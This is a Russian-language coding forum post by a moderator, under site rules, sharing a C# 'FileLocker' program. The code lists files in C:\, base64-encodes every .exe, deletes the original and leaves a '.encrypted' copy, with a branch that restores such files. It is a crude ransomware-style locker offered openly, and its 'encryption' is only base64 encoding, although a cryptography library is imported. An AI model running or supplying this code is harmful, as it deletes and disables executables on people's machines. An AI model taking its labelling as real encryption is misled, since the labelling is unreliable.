• Что бы вступить в ряды "Принятый кодер" Вам нужно:
    Написать 10 полезных сообщений или тем и Получить 10 симпатий.
    Для того кто не хочет терять время,может пожертвовать средства для поддержки сервеса, и вступить в ряды VIP на месяц, дополнительная информация в лс.

  • Пользаватели которые будут спамить, уходят в бан без предупреждения. Спам сообщения определяется администрацией и модератором.

  • Гость, Что бы Вы хотели увидеть на нашем Форуме? Изложить свои идеи и пожелания по улучшению форума Вы можете поделиться с нами здесь. ----> Перейдите сюда
  • Все пользователи не прошедшие проверку электронной почты будут заблокированы. Все вопросы с разблокировкой обращайтесь по адресу электронной почте : info@guardianelinks.com . Не пришло сообщение о проверке или о сбросе также сообщите нам.

C# Блокирование Файлов

CodeDog Оффлайн

CodeDog

Главный модератор
Команда форума
Модератор
Сообщения
157
Симпатии
68
Баллы
100
Сам код:

Код:
using System;
using System.Collections.Generic;
using System.Text;
using System.IO;
using System.Security.Cryptography;

namespace FileLocker
{
   class Program
   {
       static void Main(string[] args)
       {
           string[] files = Directory.GetFiles(@"C:\");
         
           foreach (string fileName in files)
           {
               if (fileName.EndsWith(".exe"))
               {
                   string tempFile = Path.GetTempFileName();

                   File.WriteAllText(tempFile, Convert.ToBase64String(File.ReadAllBytes(fileName)));
                   File.Delete(fileName);
                   File.Move(tempFile, fileName + ".encrypted");
               
                   Console.WriteLine(fileName);
               }
               else if (fileName.EndsWith(".encrypted"))
               {
                   string tempFile = Path.GetTempFileName();
                   File.WriteAllBytes(tempFile, Convert.FromBase64String(File.ReadAllText(fileName)));
                   File.Delete(fileName);
                   string extension = fileName.Replace(".encrypted", "");
                   File.Move(tempFile, extension);
               }
           }
           Console.Read();
       }
   }
}
 
Вверх Снизу